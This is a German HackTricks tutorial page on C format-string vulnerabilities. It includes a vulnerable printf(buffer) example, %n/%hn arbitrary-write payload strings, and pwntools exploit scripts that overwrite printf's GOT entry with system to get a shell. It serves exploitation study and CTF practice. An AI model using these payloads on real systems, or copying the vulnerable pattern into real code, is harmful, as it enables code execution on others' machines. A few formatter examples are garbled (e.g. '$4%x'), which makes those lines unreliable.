.. | ||
format-strings-template.md | ||
README.md |
Format Strings
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks beworben sehen? Oder möchten Sie Zugriff auf die neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich den offiziellen PEASS & HackTricks-Merch
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das HackTricks-Repository und das HackTricks-Cloud-Repository senden.
Grundlegende Informationen
In C ist printf
eine Funktion, die verwendet werden kann, um einen String zu drucken. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden erwarteten Parameter sind die Werte, die die Formatierer des Rohtexts ersetzen sollen.
Die Verwundbarkeit tritt auf, wenn ein Angreifertext als erster Argument dieser Funktion verwendet wird. Der Angreifer kann einen speziellen Eingabe missbrauchen, um die Fähigkeiten der printf-Formatzeichenfolge zu nutzen, um Daten zu lesen und in jede Adresse zu schreiben (lesbar/schreibbar). Auf diese Weise kann er beliebigen Code ausführen.
Formatierer:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Beispiele:
- Verwundbares Beispiel:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normale Verwendung:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Mit fehlenden Argumenten:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Zugriff auf Zeiger
Das Format %<n>$x
, wobei n
eine Zahl ist, ermöglicht es printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
printf("%x %x %x %x")
und Sie würden vom ersten bis zum vierten Parameter lesen.
Oder Sie könnten Folgendes tun:
printf("$4%x")
und lesen Sie direkt den vierten.
Beachten Sie, dass der Angreifer den pr
intf
-Parameter kontrolliert, was im Grunde bedeutet, dass seine Eingabe im Stapel ist, wenn printf
aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.
{% hint style="danger" %}
Ein Angreifer, der diese Eingabe kontrolliert, kann beliebige Adressen im Stapel hinzufügen und printf
dazu bringen, darauf zuzugreifen. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann.
{% endhint %}
Beliebiges Lesen
Es ist möglich, den Formatter $n%s
zu verwenden, um printf
die Adresse zu erhalten, die sich an der n-Position befindet, und sie dann als Zeichenfolge auszugeben (ausgeben, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei 0x8048000
ist und wir wissen, dass die Benutzereingabe in der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit auszugeben:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenkette am Ende dieser Adresse mit 0x00 abgeschnitten wird. {% endhint %}
Willkürliches Schreiben
Der Formatter $<num>%n
schreibt die Anzahl der geschriebenen Bytes in die angegebene Adresse im <num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, kann er $<num>%n
dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.
Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Es ist möglich, den Formatter %.<num-write>%<num>$n
zu verwenden, um die Zahl <num-write>
in die Adresse zu schreiben, die durch die Position num
angegeben ist.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie 0x08049724
(was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) $hn
anstelle von $n
verwendet wird. Dies ermöglicht es, nur 2 Bytes zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle das Schreiben beliebiger Daten an beliebige Adressen (beliebiges Schreiben).
In diesem Beispiel soll das Ziel sein, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen beliebiger Schreibvorgänge missbrauchen könnte:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Wir werden eine Funktion überschreiben, die ihre Argumente vom Benutzer erhält, und sie auf die system
-Funktion umleiten.
Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn
verwendet.
- HOB bezieht sich auf die 2 höheren Bytes der Adresse
- LOB bezieht sich auf die 2 niedrigeren Bytes der Adresse
Dann, aufgrund der Funktionsweise von Formatstrings, müssen Sie zuerst das kleinere der beiden [HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB
[Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]
Wenn HOB > LOB
[Adresse+2][Adresse]%.[LOB-8]x%[Offset+1]\$hn%.[HOB-LOB]x%[Offset]
HOB LOB HOB_Shellcode-8 NºParam_dir_HOB LOB_Shell-HOB_Shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Vorlage
Sie können eine Vorlage finden, um einen Exploit für diese Art von Schwachstelle vorzubereiten unter:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Oder dieses grundlegende Beispiel von hier:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings zu BOF
Es ist möglich, die Schreibaktionen einer Format-String-Schwachstelle zu missbrauchen, um Adressen des Stacks zu schreiben und eine Schwachstelle vom Typ Buffer Overflow auszunutzen.
Weitere Beispiele & Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 Bit, kein Relro, kein Canary, NX, kein PIE, grundlegende Verwendung von Format-Strings zum Auslesen der Flagge vom Stack (keine Notwendigkeit, den Ausführungsfluss zu ändern)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Überschreiben der Adresse
fflush
mit der Win-Funktion (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 Bit, Relro, kein Canary, NX, kein PIE, Format-String zum Schreiben einer Adresse innerhalb von
main
in.fini_array
(damit der Fluss 1 Mal mehr zurückkehrt) und Schreiben der Adresse vonsystem
in die GOT-Tabelle, die aufstrlen
zeigt. Wenn der Fluss zumain
zurückkehrt, wirdstrlen
mit Benutzereingabe ausgeführt und zeigt aufsystem
, um die übergebenen Befehle auszuführen.